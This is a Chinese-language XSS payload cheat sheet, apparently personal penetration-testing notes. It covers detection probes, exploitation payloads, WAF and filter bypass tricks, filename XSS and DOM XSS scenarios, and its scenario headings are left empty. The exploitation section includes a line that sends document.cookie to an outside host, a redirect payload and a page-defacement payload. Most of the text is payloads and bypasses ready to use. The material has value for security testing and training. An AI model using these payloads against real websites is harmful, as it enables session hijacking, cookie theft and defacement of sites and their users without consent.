1,利用xss跳转网页 alert(window.location.href='http://www.sjtu.edu.cn')
2,弹出cookie alert(document.cookie)
2,可以试着对xss poc代码进行url编码再利用
3,闭合相应的标签;可以试着用“+”替代空格
4,cookie中有&等字符会分割cookie以至于打不到完整cookie这时可以用 escape(document.cookie)
经典POC
检测:
<script>alert('xss')</script>
<a href='' onclick=alert('xss')>type</a>
<img src=http://192.168.1.1/a.jpg onerror=alert('xss')>
<svg/onload=alert(1)>
利用:
<script>window.location='http://1.1.1.1'</script>
<iframe SRC="http://1.1.1.1/victim" height="0" width="0"></iframe>
<script>new Image().src="http://192.168.1.102/c.php?output="+document.cookie;</script>
<script>document.body.innerHTML=''<div style=visibility:visible;><h1>THIS WEBSITE IS UNDER ATTACK</h1></div>";</script>
技巧:
1. 过滤了script标签 :
<input/onclick=alert(111)>
2. hidden下隐藏表单触发事件弹窗
<input type=hidden value==11 accesskey="h" onclick=alert(111)>
firefox下按 shift+alt+h 触发
3. script隐藏绕过弹窗
<script src="data:,alert(111)"></SCRIPT>
4. 小括号过滤绕过弹窗
<img src=111111 onerror=alert(2)>
5. 闭合url跳转,绕过alert检测
www.baidu.com";prompt(111);//
6. asp.net开发网站
使用asp.net开发的网站,测试xss的时候可以采用:
使用unicode编码即可绕过,例如<被编码后成\u003c,后台会解码成<。如果\被过滤,可以用%替代。
原理:asp.net下会对程序进行最佳映射,然后会对unicode进行自动解码,最佳映射的时候payload会被执行。
7. 不同浏览器导致的差异问题
上传了一个xss文件,但用火狐和chrome访问发现会下载,但切换成ie浏览器会执行。
8. 双重url编码xss
9. web端和移动端的差异
输入xss代码在web端,web端发生过滤
移动端/手机app未过滤导致xss
10. 文件名xss
图片上传/文件上传,文件名xss payload然后上传。
1. <img src=a onerror=alert(1)>.png
2. <img src=a onerror=alert(1)>.png
3. " onclick="alert(1).png
waf绕过
了解javascript特性可以让我们更好的绕过waf
变量x的定义方式:
var x=1
const x=1
let x=1
self['x']=1
top['x']=1
window['x']=1
this['x']=1
a=1
了解变量的定义后针对性的绕过
猜测后台的过滤规则,针对过滤点,尝试绕过。例如在大部分情况下,小括号可以用反反引号代替,alert被过滤可以尝试confirm、prompt等
self[`ale`+`rt`]`1`
window[`pro`+`mpt`]`2`
万能的换行符
发现<a><iframe>标签没有过滤,但是过滤了alert、script等关键字
1.
<a Href="javas
cript:al
ert(1)//;
">aaa</a>
2.
<iframe ddd/src="javascript:al
Ert
( '123' )"/>
:被过滤可以使用:替代
冷门的javascript事件
常用的javascript事件,可能不在黑名单范围内:
常用的onclick、onerror大多数会被过滤,提供几个不常用的javascript事件:
<body onpageshow=top['alert'](1)>
<details onToGgle=a=prompt,a(2) open>
<body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
<marquee/onstart=confirm(2333)>/
水满则溢
输入一段payload:<img src=a onerror=alert(1)>
可能这个程序会把它过滤的一干二净,输入100个这样的payload,输入300个这样的payload......。玄学概率绕过。
参数溢出绕过waf
http://xx.com?a=n多个a">xss payload
参数污染导致的waf绕过
服务器在接受参数时,如果出现一个参数提交两次,content=1&content=2,最终的显示会是1,2的格式,由此可以利用参数污染漏洞将xss payload分割前后,导致waf绕过。
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXBOPg">
注:第二个参数加个空格再继续跟payload
DOM xss挖掘
场景1
场景2
场景3
场景4
titile可控,JQuery attr导致的dom_xss
场景5
getElementByName导致的DOM-XSS漏洞
黑盒测试下的fuzz
html实体编码可以自动解析,在实战中可以使用下面的payload:
'"><img/src/onerror=alert(1)>">:</div><img src=1 onerror=alert(1)>">
假设做了一些过滤,可以采用:<img src=1>来尝试加载图片。
或者:"><iframe src=http://baidu.com>进行初步探测。
参考:
https://www.cnblogs.com/darking/p/7865439.html
https://www.cnblogs.com/piaomiaohongchen/p/10084573.html
https://www.cnblogs.com/piaomiaohongchen/p/10337924.html